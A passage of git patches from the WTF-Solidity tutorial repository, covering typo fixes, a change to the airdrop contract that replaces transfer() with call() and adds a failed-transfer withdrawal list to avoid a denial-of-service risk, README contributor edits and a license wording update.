0xc0fefefe } log2 @@ -668,4 +668,4 @@ BloomBits[776] => 32768 bit vector (4096 byte) 日志设施的两种替代设计选择可能是: * 允许更多数量的主题,尽管更多主题会降低用于按主题索引日志的布隆过滤器的有效性。 -* 允许主题具有任意数量的字节。为什么不呢? \ No newline at end of file +* 允许主题具有任意数量的字节。为什么不呢? From 3315b190ff9d732f1ef3c66e1627ccd5c1e54ff3 Mon Sep 17 00:00:00 2001 From: Ikko Eltociear Ashimine Date: Mon, 3 Jul 2023 21:50:19 +0900 Subject: [PATCH 10/46] docs: fix typo in 27_ABIEncode_en/readme.md encodeing -> encoding --- Languages/en/27_ABIEncode_en/readme.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Languages/en/27_ABIEncode_en/readme.md b/Languages/en/27_ABIEncode_en/readme.md index 04f03e829..78228571c 100644 --- a/Languages/en/27_ABIEncode_en/readme.md +++ b/Languages/en/27_ABIEncode_en/readme.md @@ -88,7 +88,7 @@ We input binary encoding of `abi.encode` into `decode`, which will decode the or ![](https://images.mirror-media.xyz/publication-images/jboRaaq0U57qVYjmsOgbv.png?height=408&width=624) ## 在remix上验证 -- deploy contract to check the encodeing result of `abi.encode` +- deploy contract to check the encoding result of `abi.encode` ![](./img/27-1_en.png) - compare and verify the similarities and differences of four encoding functions @@ -134,4 +134,4 @@ In this case, we can call through ABI function selector. ``` ## Summary -In Ethereum, data must be encoded into bytecode to interact with smart contracts. In this chapter, we introduced four `abi encoding` functions and one `abi decoding` function. \ No newline at end of file +In Ethereum, data must be encoded into bytecode to interact with smart contracts. In this chapter, we introduced four `abi encoding` functions and one `abi decoding` function. From fc3ef574d3b277fce83bd95b537b2b585f98e26b Mon Sep 17 00:00:00 2001 From: Joey Date: Mon, 10 Jul 2023 09:49:46 +0800 Subject: [PATCH 11/46] fix: airdrop Dos risk --- 33_Airdrop/Airdrop.sol | 66 ++++++++++++++------ 33_Airdrop/readme.md | 138 ++++++++++++++++++++++------------------- 2 files changed, 119 insertions(+), 85 deletions(-) diff --git a/33_Airdrop/Airdrop.sol b/33_Airdrop/Airdrop.sol index 161aaf38c..77b310461 100644 --- a/33_Airdrop/Airdrop.sol +++ b/33_Airdrop/Airdrop.sol @@ -6,6 +6,8 @@ import "./IERC20.sol"; //import IERC20 /// @notice 向多个地址转账ERC20代币 contract Airdrop { + mapping(address => uint) failTransferList; + /// @notice 向多个地址转账ERC20代币,使用前需要先授权 /// /// @param _token 转账的ERC20代币地址 @@ -15,14 +17,20 @@ contract Airdrop { address _token, address[] calldata _addresses, uint256[] calldata _amounts - ) external { + ) external { // 检查:_addresses和_amounts数组的长度相等 - require(_addresses.length == _amounts.length, "Lengths of Addresses and Amounts NOT EQUAL"); + require( + _addresses.length == _amounts.length, + "Lengths of Addresses and Amounts NOT EQUAL" + ); IERC20 token = IERC20(_token); // 声明IERC合约变量 uint _amountSum = getSum(_amounts); // 计算空投代币总量 // 检查:授权代币数量 > 空投代币总量 - require(token.allowance(msg.sender, address(this)) > _amountSum, "Need Approve ERC20 token"); - + require( + token.allowance(msg.sender, address(this)) > _amountSum, + "Need Approve ERC20 token" + ); + // for循环,利用transferFrom函数发送空投 for (uint256 i; i < _addresses.length; i++) { token.transferFrom(msg.sender, _addresses[i], _amounts[i]); @@ -35,47 +43,63 @@ contract Airdrop { uint256[] calldata _amounts ) public payable { // 检查:_addresses和_amounts数组的长度相等 - require(_addresses.length == _amounts.length, "Lengths of Addresses and Amounts NOT EQUAL"); + require( + _addresses.length == _amounts.length, + "Lengths of Addresses and Amounts NOT EQUAL" + ); uint _amountSum = getSum(_amounts); // 计算空投ETH总量 // 检查转入ETH等于空投总量 require(msg.value == _amountSum, "Transfer amount error"); // for循环,利用transfer函数发送ETH for (uint256 i = 0; i < _addresses.length; i++) { - _addresses[i].transfer(_amounts[i]); + // 注释代码有Dos攻击风险, 并且transfer 也是不推荐写法 + // Dos攻击 具体参考 https://github.com/AmazingAng/WTF-Solidity/blob/main/S09_DoS/readme.md + // _addresses[i].transfer(_amounts[i]); + (bool success, ) = _addresses[i].call{value: _amounts[i]}(""); + if (!success) { + failTransferList[_addresses[i]] = _amounts[i]; + } } } + // 给空投失败提供主动操作机会 + function withdrawFromFailList(address _to) public { + uint failAmount = failTransferList[msg.sender]; + require(failAmount > 0, "You are not in failed list"); + failTransferList[msg.sender] = 0; + (bool success, ) = _to.call{value: failAmount}(""); + require(success, "Fail withdraw"); + } // 数组求和函数 - function getSum(uint256[] calldata _arr) public pure returns(uint sum) - { - for(uint i = 0; i < _arr.length; i++) - sum = sum + _arr[i]; + function getSum(uint256[] calldata _arr) public pure returns (uint sum) { + for (uint i = 0; i < _arr.length; i++) sum = sum + _arr[i]; } } - // ERC20代币合约 contract ERC20 is IERC20 { - mapping(address => uint256) public override balanceOf; mapping(address => mapping(address => uint256)) public override allowance; - uint256 public override totalSupply; // 代币总供给 + uint256 public override totalSupply; // 代币总供给 + + string public name; // 名称 + string public symbol; // 符号 - string public name; // 名称 - string public symbol; // 符号 - uint8 public decimals = 18; // 小数位数 - constructor(string memory name_, string memory symbol_){ + constructor(string memory name_, string memory symbol_) { name = name_; symbol = symbol_; } // @dev 实现`transfer`函数,代币转账逻辑 - function transfer(address recipient, uint amount) external override returns (bool) { + function transfer( + address recipient, + uint amount + ) external override returns (bool) { balanceOf[msg.sender] -= amount; balanceOf[recipient] += amount; emit Transfer(msg.sender, recipient, amount); @@ -83,7 +107,10 @@ contract ERC20 is IERC20 { } // @dev 实现 `approve` 函数, 代币授权逻辑 - function approve(address spender, uint amount) external override returns (bool) { + function approve( + address spender, + uint amount + ) external override returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; @@ -115,5 +142,4 @@ contract ERC20 is IERC20 { totalSupply -= amount; emit Transfer(msg.sender, address(0), amount); } - } diff --git a/33_Airdrop/readme.md b/33_Airdrop/readme.md index c50957025..304ea538a 100644 --- a/33_Airdrop/readme.md +++ b/33_Airdrop/readme.md @@ -8,17 +8,17 @@ tags: - airdrop --- -# WTF Solidity极简入门: 33. 发送空投 +# WTF Solidity 极简入门: 33. 发送空投 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 solidity,巩固一下细节,也写一个“WTF Solidity 极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 欢迎关注我的推特:[@0xAA_Science](https://twitter.com/0xAA_Science) -欢迎加入WTF科学家社区,内有加微信群方法:[链接](https://discord.gg/5akcruXrsk) +欢迎加入 WTF 科学家社区,内有加微信群方法:[链接](https://discord.gg/5akcruXrsk) -所有代码和教程开源在github(1024个star发课程认证,2048个star发社群NFT): [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github(1024 个 star 发课程认证,2048 个 star 发社群 NFT): [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- 在币圈,最开心的一件事就是领空投,空手套白狼。这一讲,我们将学习如何使用智能合约发送`ERC20`代币空投。 @@ -34,68 +34,76 @@ tags: - `getSum()`函数:返回`uint`数组的和。 - ```solidity - // 数组求和函数 - function getSum(uint256[] calldata _arr) public pure returns(uint sum) - { - for(uint i = 0; i < _arr.length; i++) - sum = sum + _arr[i]; - } - ``` + ```solidity + // 数组求和函数 + function getSum(uint256[] calldata _arr) public pure returns(uint sum) + { + for(uint i = 0; i < _arr.length; i++) + sum = sum + _arr[i]; + } + ``` - `multiTransferToken()`函数:发送`ERC20`代币空投,包含`3`个参数: - - `_token`:代币合约地址(`address`类型) - - `_addresses`:接收空投的用户地址数组(`address[]`类型) - - `_amounts`:空投数量数组,对应`_addresses`里每个地址的数量(`uint[]`类型) - - 该函数有两个检查:第一个`require`检查了`_addresses`和`_amounts`两个数组长度是否相等;第二个`require`检查了空投合约的授权额度大于要空投的代币数量总和。 - - ```solidity - /// @notice 向多个地址转账ERC20代币,使用前需要先授权 - /// - /// @param _token 转账的ERC20代币地址 - /// @param _addresses 空投地址数组 - /// @param _amounts 代币数量数组(每个地址的空投数量) - function multiTransferToken( - address _token, - address[] calldata _addresses, - uint256[] calldata _amounts - ) external { - // 检查:_addresses和_amounts数组的长度相等 - require(_addresses.length == _amounts.length, "Lengths of Addresses and Amounts NOT EQUAL"); - IERC20 token = IERC20(_token); // 声明IERC合约变量 - uint _amountSum = getSum(_amounts); // 计算空投代币总量 - // 检查:授权代币数量 >= 空投代币总量 - require(token.allowance(msg.sender, address(this)) >= _amountSum, "Need Approve ERC20 token"); - - // for循环,利用transferFrom函数发送空投 - for (uint8 i; i < _addresses.length; i++) { - token.transferFrom(msg.sender, _addresses[i], _amounts[i]); - } - } - ``` + + - `_token`:代币合约地址(`address`类型) + - `_addresses`:接收空投的用户地址数组(`address[]`类型) + - `_amounts`:空投数量数组,对应`_addresses`里每个地址的数量(`uint[]`类型) + + 该函数有两个检查:第一个`require`检查了`_addresses`和`_amounts`两个数组长度是否相等;第二个`require`检查了空投合约的授权额度大于要空投的代币数量总和。 + + ```solidity + /// @notice 向多个地址转账ERC20代币,使用前需要先授权 + /// + /// @param _token 转账的ERC20代币地址 + /// @param _addresses 空投地址数组 + /// @param _amounts 代币数量数组(每个地址的空投数量) + function multiTransferToken( + address _token, + address[] calldata _addresses, + uint256[] calldata _amounts + ) external { + // 检查:_addresses和_amounts数组的长度相等 + require(_addresses.length == _amounts.length, "Lengths of Addresses and Amounts NOT EQUAL"); + IERC20 token = IERC20(_token); // 声明IERC合约变量 + uint _amountSum = getSum(_amounts); // 计算空投代币总量 + // 检查:授权代币数量 >= 空投代币总量 + require(token.allowance(msg.sender, address(this)) >= _amountSum, "Need Approve ERC20 token"); + + // for循环,利用transferFrom函数发送空投 + for (uint8 i; i < _addresses.length; i++) { + token.transferFrom(msg.sender, _addresses[i], _amounts[i]); + } + } + ``` - `multiTransferETH()`函数:发送`ETH`空投,包含`2`个参数: - - `_addresses`:接收空投的用户地址数组(`address[]`类型) - - `_amounts`:空投数量数组,对应`_addresses`里每个地址的数量(`uint[]`类型) - - ```solidity - /// 向多个地址转账ETH - function multiTransferETH( - address payable[] calldata _addresses, - uint256[] calldata _amounts - ) public payable { - // 检查:_addresses和_amounts数组的长度相等 - require(_addresses.length == _amounts.length, "Lengths of Addresses and Amounts NOT EQUAL"); - uint _amountSum = getSum(_amounts); // 计算空投ETH总量 - // 检查转入ETH等于空投总量 - require(msg.value == _amountSum, "Transfer amount error"); - // for循环,利用transfer函数发送ETH - for (uint256 i = 0; i < _addresses.length; i++) { - _addresses[i].transfer(_amounts[i]); - } - } - ``` + + - `_addresses`:接收空投的用户地址数组(`address[]`类型) + - `_amounts`:空投数量数组,对应`_addresses`里每个地址的数量(`uint[]`类型) + + ```solidity + /// 向多个地址转账ETH + function multiTransferETH( + address payable[] calldata _addresses, + uint256[] calldata _amounts + ) public payable { + // 检查:_addresses和_amounts数组的长度相等 + require(_addresses.length == _amounts.length, "Lengths of Addresses and Amounts NOT EQUAL"); + uint _amountSum = getSum(_amounts); // 计算空投ETH总量 + // 检查转入ETH等于空投总量 + require(msg.value == _amountSum, "Transfer amount error"); + // for循环,利用transfer函数发送ETH + for (uint256 i = 0; i < _addresses.length; i++) { + // 注释代码有Dos攻击风险, 并且transfer 也是不推荐写法 + // Dos攻击 具体参考 https://github.com/AmazingAng/WTF-Solidity/blob/main/S09_DoS/readme.md + // _addresses[i].transfer(_amounts[i]); + (bool success, ) = _addresses[i].call{value: _amounts[i]}(""); + if (!success) { + failTransferList[_addresses[i]] = _amounts[i]; + } + } + } + ``` ### 空投实践 @@ -109,7 +117,7 @@ tags: ![部署`Airdrop`合约](./img/33-3.png) -3. 利用`ERC20`代币合约中的`approve()`函数,给`Airdrop`空投合约授权10000 单位代币。 +3. 利用`ERC20`代币合约中的`approve()`函数,给`Airdrop`空投合约授权 10000 单位代币。 ![授权`Airdrop`合约](./img/33-4.png) @@ -131,4 +139,4 @@ tags: ## 总结 -这一讲,我们介绍了如何使用`solidity`写`ERC20`代币空投合约,极大增加空投效率。我撸空投收获最大的一次是`ENS`空投,你们呢? \ No newline at end of file +这一讲,我们介绍了如何使用`solidity`写`ERC20`代币空投合约,极大增加空投效率。我撸空投收获最大的一次是`ENS`空投,你们呢? From 80d25d368a1c6bf479c20602f5f7c17d4b9cb408 Mon Sep 17 00:00:00 2001 From: "Li, Amazing Ang" Date: Thu, 13 Jul 2023 11:29:32 +0800 Subject: [PATCH 12/46] Update README.md --- README.md | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/README.md b/README.md index f7895327e..ff4aac7d3 100644 --- a/README.md +++ b/README.md @@ -248,3 +248,16 @@ - [Safe Contracts](https://github.com/safe-global/safe-contracts) - [DeFi Hack Labs](https://github.com/SunWeb3Sec/DeFiHackLabs) - [rekt news](https://rekt.news/zh/) + +## WTF 贡献者 + + 贡献者是WTF学院的基石 + + + + + + + + + From 1d2dd1ebf6340855dc4f22e8ab8c5a77c6babf34 Mon Sep 17 00:00:00 2001 From: "Li, Amazing Ang" Date: Thu, 13 Jul 2023 11:31:02 +0800 Subject: [PATCH 13/46] Update README.md --- README.md | 2 -- 1 file changed, 2 deletions(-) diff --git a/README.md b/README.md index ff4aac7d3..6f545973b 100644 --- a/README.md +++ b/README.md @@ -251,8 +251,6 @@ ## WTF 贡献者 - 贡献者是WTF学院的基石 - From d10bbfbedf866467afb4cb1600a31b7e172b79fa Mon Sep 17 00:00:00 2001 From: "Li, Amazing Ang" Date: Thu, 13 Jul 2023 11:39:10 +0800 Subject: [PATCH 14/46] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 6f545973b..88fb73e01 100644 --- a/README.md +++ b/README.md @@ -249,7 +249,7 @@ - [DeFi Hack Labs](https://github.com/SunWeb3Sec/DeFiHackLabs) - [rekt news](https://rekt.news/zh/) -## WTF 贡献者 +## Contributors From 50e66b1322050cb446e137442f0f10867cc6d241 Mon Sep 17 00:00:00 2001 From: "Li, Amazing Ang" Date: Wed, 19 Jul 2023 14:24:57 +0800 Subject: [PATCH 15/46] Create .all-contributorsrc --- .all-contributorsrc | 285 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 285 insertions(+) create mode 100644 .all-contributorsrc diff --git a/.all-contributorsrc b/.all-contributorsrc new file mode 100644 index 000000000..4400be42d --- /dev/null +++ b/.all-contributorsrc @@ -0,0 +1,285 @@ +{ + "projectName": "WTF-Solidity", + "projectOwner": "AmazingAng", + "repoType": "github", + "repoHost": "https://github.com", + "files": [ + "README.md" + ], + "imageSize": 100, + "commit": true, + "commitConvention": "none", + "contributors": [ + { + "login": "AmazingAng", + "name": "AmazingAng", + "profile": "https://github.com/AmazingAng", + "avatar_url": "https://avatars.githubusercontent.com/u/14728591?v=4", + "contributions": [ + "code" + ] + }, + { + "login": "JustinAsdz", + "name": "JustinAsdz", + "profile": "https://github.com/JustinAsdz", + "avatar_url": "https://avatars.githubusercontent.com/u/38929721?v=4", + "contributions": [ + "code" + ] + }, + { + "login": "SunWeb3Sec", + "name": "SunWeb3Sec", + "profile": "https://github.com/SunWeb3Sec", + "avatar_url": "https://avatars.githubusercontent.com/u/107249780?v=4", + "contributions": [ + "code" + ] + }, + { + "login": "EasyChris", + "name": "EasyChris", + "profile": "https://github.com/EasyChris", + "avatar_url": "https://avatars.githubusercontent.com/u/9960087?v=4", + "contributions": [ + "code" + ] + }, + { + "login": "seasidejuvenile666", + "name": "seasidejuvenile666", + "profile": "https://github.com/seasidejuvenile666", + "avatar_url": "https://avatars.githubusercontent.com/u/105691608?v=4", + "contributions": [ + "code" + ] + }, + { + "login": "quantum-proof", + "name": "quantum-proof", + "profile": "https://github.com/quantum-proof", + "avatar_url": "https://avatars.githubusercontent.com/u/101009469?v=4", + "contributions": [ + "code" + ] + }, + { + "login": "ShuxunoO", + "name": "ShuxunoO", + "profile": "https://github.com/ShuxunoO", + "avatar_url": "https://avatars.githubusercontent.com/u/40421448?v=4", + "contributions": [ + "code" + ] + }, + { + "login": "cjh20000613", + "name": "cjh20000613", + "profile": "https://github.com/cjh20000613", + "avatar_url": "https://avatars.githubusercontent.com/u/65795263?v=4", + "contributions": [ + "code" + ] + }, + { + "login": "Rulesbreaker", + "name": "Rulesbreaker", + "profile": "https://github.com/Rulesbreaker", + "avatar_url": "https://avatars.githubusercontent.com/u/12807222?v=4", + "contributions": [ + "code" + ] + }, + { + "login": "0xkookoo", + "name": "0xkookoo", + "profile": "https://github.com/0xkookoo", + "avatar_url": "https://avatars.githubusercontent.com/u/28261876?v=4", + "contributions": [ + "code" + ] + }, + { + "login": "jie1789", + "name": "jie1789", + "profile": "https://github.com/jie1789", + "avatar_url": "https://avatars.githubusercontent.com/u/40333338?v=4", + "contributions": [ + "code" + ] + }, + { + "login": "0xc25fee20", + "name": "0xc25fee20", + "profile": "https://github.com/0xc25fee20", + "avatar_url": "https://avatars.githubusercontent.com/u/18155434?v=4", + "contributions": [ + "code" + ] + }, + { + "login": "Hongchenglong", + "name": "Hongchenglong", + "profile": "https://github.com/Hongchenglong", + "avatar_url": "https://avatars.githubusercontent.com/u/35827686?v=4", + "contributions": [ + "code" + ] + }, + { + "login": "Azleal", + "name": "Azleal", + "profile": "https://github.com/Azleal", + "avatar_url": "https://avatars.githubusercontent.com/u/7901126?v=4", + "contributions": [ + "code" + ] + }, + { + "login": "HuiTaiLa", + "name": "HuiTaiLa", + "profile": "https://github.com/HuiTaiLa", + "avatar_url": "https://avatars.githubusercontent.com/u/26702567?v=4", + "contributions": [ + "code" + ] + }, + { + "login": "wishucry", + "name": "wishucry", + "profile": "https://github.com/wishucry", + "avatar_url": "https://avatars.githubusercontent.com/u/52957721?v=4", + "contributions": [ + "code" + ] + }, + { + "login": "buttonwild", + "name": "buttonwild", + "profile": "https://github.com/buttonwild", + "avatar_url": "https://avatars.githubusercontent.com/u/33722083?v=4", + "contributions": [ + "code" + ] + }, + { + "login": "alphafitz11", + "name": "alphafitz11", + "profile": "https://github.com/alphafitz11", + "avatar_url": "https://avatars.githubusercontent.com/u/75402546?v=4", + "contributions": [ + "code" + ] + }, + { + "login": "hotsjf", + "name": "hotsjf", + "profile": "https://github.com/hotsjf", + "avatar_url": "https://avatars.githubusercontent.com/u/133774?v=4", + "contributions": [ + "code" + ] + }, + { + "login": "Lokiscripter", + "name": "Lokiscripter", + "profile": "https://github.com/Lokiscripter", + "avatar_url": "https://avatars.githubusercontent.com/u/12626815?v=4", + "contributions": [ + "code" + ] + }, + { + "login": "XiaoYao-0", + "name": "XiaoYao-0", + "profile": "https://github.com/XiaoYao-0", + "avatar_url": "https://avatars.githubusercontent.com/u/80739750?v=4", + "contributions": [ + "code" + ] + }, + { + "login": "lcy101u", + "name": "lcy101u", + "profile": "https://github.com/lcy101u", + "avatar_url": "https://avatars.githubusercontent.com/u/12782646?v=4", + "contributions": [ + "code" + ] + }, + { + "login": "reborn-sama", + "name": "reborn-sama", + "profile": "https://github.com/reborn-sama", + "avatar_url": "https://avatars.githubusercontent.com/u/16304308?v=4", + "contributions": [ + "code" + ] + }, + { + "login": "u-u-z", + "name": "u-u-z", + "profile": "https://github.com/u-u-z", + "avatar_url": "https://avatars.githubusercontent.com/u/11187239?v=4", + "contributions": [ + "code" + ] + }, + { + "login": "0x0918", + "name": "0x0918", + "profile": "https://github.com/0x0918", + "avatar_url": "https://avatars.githubusercontent.com/u/90438284?v=4", + "contributions": [ + "code" + ] + }, + { + "login": "finn79426", + "name": "finn79426", + "profile": "https://github.com/finn79426", + "avatar_url": "https://avatars.githubusercontent.com/u/26408530?v=4", + "contributions": [ + "code" + ] + }, + { + "login": "zhiyuan2007", + "name": "zhiyuan2007", + "profile": "https://github.com/zhiyuan2007", + "avatar_url": "https://avatars.githubusercontent.com/u/897759?v=4", + "contributions": [ + "code" + ] + }, + { + "login": "x-player-001", + "name": "x-player-001", + "profile": "https://github.com/x-player-001", + "avatar_url": "https://avatars.githubusercontent.com/u/21036309?v=4", + "contributions": [ + "code" + ] + }, + { + "login": "tangminjie", + "name": "tangminjie", + "profile": "https://github.com/tangminjie", + "avatar_url": "https://avatars.githubusercontent.com/u/66615553?v=4", + "contributions": [ + "code" + ] + }, + { + "login": "FlyingShuriken", + "name": "FlyingShuriken", + "profile": "https://github.com/FlyingShuriken", + "avatar_url": "https://avatars.githubusercontent.com/u/59129640?v=4", + "contributions": [ + "code" + ] + } + ], + "contributorsPerLine": 7 +} \ No newline at end of file From 9994cd52afc6e6cc0f277c913435c79f2209c897 Mon Sep 17 00:00:00 2001 From: 0xAA Date: Wed, 19 Jul 2023 14:29:04 +0800 Subject: [PATCH 16/46] Delete .all-contributorsrc --- .all-contributorsrc | 285 -------------------------------------------- 1 file changed, 285 deletions(-) delete mode 100644 .all-contributorsrc diff --git a/.all-contributorsrc b/.all-contributorsrc deleted file mode 100644 index 4400be42d..000000000 --- a/.all-contributorsrc +++ /dev/null @@ -1,285 +0,0 @@ -{ - "projectName": "WTF-Solidity", - "projectOwner": "AmazingAng", - "repoType": "github", - "repoHost": "https://github.com", - "files": [ - "README.md" - ], - "imageSize": 100, - "commit": true, - "commitConvention": "none", - "contributors": [ - { - "login": "AmazingAng", - "name": "AmazingAng", - "profile": "https://github.com/AmazingAng", - "avatar_url": "https://avatars.githubusercontent.com/u/14728591?v=4", - "contributions": [ - "code" - ] - }, - { - "login": "JustinAsdz", - "name": "JustinAsdz", - "profile": "https://github.com/JustinAsdz", - "avatar_url": "https://avatars.githubusercontent.com/u/38929721?v=4", - "contributions": [ - "code" - ] - }, - { - "login": "SunWeb3Sec", - "name": "SunWeb3Sec", - "profile": "https://github.com/SunWeb3Sec", - "avatar_url": "https://avatars.githubusercontent.com/u/107249780?v=4", - "contributions": [ - "code" - ] - }, - { - "login": "EasyChris", - "name": "EasyChris", - "profile": "https://github.com/EasyChris", - "avatar_url": "https://avatars.githubusercontent.com/u/9960087?v=4", - "contributions": [ - "code" - ] - }, - { - "login": "seasidejuvenile666", - "name": "seasidejuvenile666", - "profile": "https://github.com/seasidejuvenile666", - "avatar_url": "https://avatars.githubusercontent.com/u/105691608?v=4", - "contributions": [ - "code" - ] - }, - { - "login": "quantum-proof", - "name": "quantum-proof", - "profile": "https://github.com/quantum-proof", - "avatar_url": "https://avatars.githubusercontent.com/u/101009469?v=4", - "contributions": [ - "code" - ] - }, - { - "login": "ShuxunoO", - "name": "ShuxunoO", - "profile": "https://github.com/ShuxunoO", - "avatar_url": "https://avatars.githubusercontent.com/u/40421448?v=4", - "contributions": [ - "code" - ] - }, - { - "login": "cjh20000613", - "name": "cjh20000613", - "profile": "https://github.com/cjh20000613", - "avatar_url": "https://avatars.githubusercontent.com/u/65795263?v=4", - "contributions": [ - "code" - ] - }, - { - "login": "Rulesbreaker", - "name": "Rulesbreaker", - "profile": "https://github.com/Rulesbreaker", - "avatar_url": "https://avatars.githubusercontent.com/u/12807222?v=4", - "contributions": [ - "code" - ] - }, - { - "login": "0xkookoo", - "name": "0xkookoo", - "profile": "https://github.com/0xkookoo", - "avatar_url": "https://avatars.githubusercontent.com/u/28261876?v=4", - "contributions": [ - "code" - ] - }, - { - "login": "jie1789", - "name": "jie1789", - "profile": "https://github.com/jie1789", - "avatar_url": "https://avatars.githubusercontent.com/u/40333338?v=4", - "contributions": [ - "code" - ] - }, - { - "login": "0xc25fee20", - "name": "0xc25fee20", - "profile": "https://github.com/0xc25fee20", - "avatar_url": "https://avatars.githubusercontent.com/u/18155434?v=4", - "contributions": [ - "code" - ] - }, - { - "login": "Hongchenglong", - "name": "Hongchenglong", - "profile": "https://github.com/Hongchenglong", - "avatar_url": "https://avatars.githubusercontent.com/u/35827686?v=4", - "contributions": [ - "code" - ] - }, - { - "login": "Azleal", - "name": "Azleal", - "profile": "https://github.com/Azleal", - "avatar_url": "https://avatars.githubusercontent.com/u/7901126?v=4", - "contributions": [ - "code" - ] - }, - { - "login": "HuiTaiLa", - "name": "HuiTaiLa", - "profile": "https://github.com/HuiTaiLa", - "avatar_url": "https://avatars.githubusercontent.com/u/26702567?v=4", - "contributions": [ - "code" - ] - }, - { - "login": "wishucry", - "name": "wishucry", - "profile": "https://github.com/wishucry", - "avatar_url": "https://avatars.githubusercontent.com/u/52957721?v=4", - "contributions": [ - "code" - ] - }, - { - "login": "buttonwild", - "name": "buttonwild", - "profile": "https://github.com/buttonwild", - "avatar_url": "https://avatars.githubusercontent.com/u/33722083?v=4", - "contributions": [ - "code" - ] - }, - { - "login": "alphafitz11", - "name": "alphafitz11", - "profile": "https://github.com/alphafitz11", - "avatar_url": "https://avatars.githubusercontent.com/u/75402546?v=4", - "contributions": [ - "code" - ] - }, - { - "login": "hotsjf", - "name": "hotsjf", - "profile": "https://github.com/hotsjf", - "avatar_url": "https://avatars.githubusercontent.com/u/133774?v=4", - "contributions": [ - "code" - ] - }, - { - "login": "Lokiscripter", - "name": "Lokiscripter", - "profile": "https://github.com/Lokiscripter", - "avatar_url": "https://avatars.githubusercontent.com/u/12626815?v=4", - "contributions": [ - "code" - ] - }, - { - "login": "XiaoYao-0", - "name": "XiaoYao-0", - "profile": "https://github.com/XiaoYao-0", - "avatar_url": "https://avatars.githubusercontent.com/u/80739750?v=4", - "contributions": [ - "code" - ] - }, - { - "login": "lcy101u", - "name": "lcy101u", - "profile": "https://github.com/lcy101u", - "avatar_url": "https://avatars.githubusercontent.com/u/12782646?v=4", - "contributions": [ - "code" - ] - }, - { - "login": "reborn-sama", - "name": "reborn-sama", - "profile": "https://github.com/reborn-sama", - "avatar_url": "https://avatars.githubusercontent.com/u/16304308?v=4", - "contributions": [ - "code" - ] - }, - { - "login": "u-u-z", - "name": "u-u-z", - "profile": "https://github.com/u-u-z", - "avatar_url": "https://avatars.githubusercontent.com/u/11187239?v=4", - "contributions": [ - "code" - ] - }, - { - "login": "0x0918", - "name": "0x0918", - "profile": "https://github.com/0x0918", - "avatar_url": "https://avatars.githubusercontent.com/u/90438284?v=4", - "contributions": [ - "code" - ] - }, - { - "login": "finn79426", - "name": "finn79426", - "profile": "https://github.com/finn79426", - "avatar_url": "https://avatars.githubusercontent.com/u/26408530?v=4", - "contributions": [ - "code" - ] - }, - { - "login": "zhiyuan2007", - "name": "zhiyuan2007", - "profile": "https://github.com/zhiyuan2007", - "avatar_url": "https://avatars.githubusercontent.com/u/897759?v=4", - "contributions": [ - "code" - ] - }, - { - "login": "x-player-001", - "name": "x-player-001", - "profile": "https://github.com/x-player-001", - "avatar_url": "https://avatars.githubusercontent.com/u/21036309?v=4", - "contributions": [ - "code" - ] - }, - { - "login": "tangminjie", - "name": "tangminjie", - "profile": "https://github.com/tangminjie", - "avatar_url": "https://avatars.githubusercontent.com/u/66615553?v=4", - "contributions": [ - "code" - ] - }, - { - "login": "FlyingShuriken", - "name": "FlyingShuriken", - "profile": "https://github.com/FlyingShuriken", - "avatar_url": "https://avatars.githubusercontent.com/u/59129640?v=4", - "contributions": [ - "code" - ] - } - ], - "contributorsPerLine": 7 -} \ No newline at end of file From 8f3fedfdfc987de6ee56d46dce8a55c44e5cc313 Mon Sep 17 00:00:00 2001 From: 0xAA Date: Wed, 26 Jul 2023 15:16:18 +0800 Subject: [PATCH 17/46] Update LICENSE --- LICENSE | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/LICENSE b/LICENSE index 5714b6199..c677754ad 100644 --- a/LICENSE +++ b/LICENSE @@ -7,9 +7,9 @@ content we provide and what licenses are in effect for each. ## License for all prose content All prose content is available under -([CC-BY-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/)). +([CC-BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/)). -### Text of CC-BY-SA-4.0 license +### Text of CC-BY-NC-SA-4.0 license ``` Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International (CC BY-NC-SA 4.0) @@ -471,4 +471,4 @@ Permission is hereby granted, free of charge, to any person obtaining a copy of The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. -``` \ No newline at end of file +``` From 77027d61e4aaa84d92ec6a1ba5d5931e47542af1 Mon Sep 17 00:00:00 2001 From: "Li, Amazing Ang" Date: Thu, 3 Aug 2023 18:10:24 +0800 Subject: [PATCH 18/46] Update README.md --- README.md | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) diff --git a/README.md b/README.md index 88fb73e01..5eaed6e1a 100644 --- a/README.md +++ b/README.md @@ -177,20 +177,22 @@ **S16:NFT重入攻击**:[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/S16_NFTReentrancy) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/S16_NFTReentrancy/readme.md) ## 主题 -### `工具` -**第1讲:Remix, 最易用的Solidity IDE** 【[代码](https://github.com/AmazingAng/WTFSolidity/tree/main/Topics/Tools/TOOL01_Remix)】 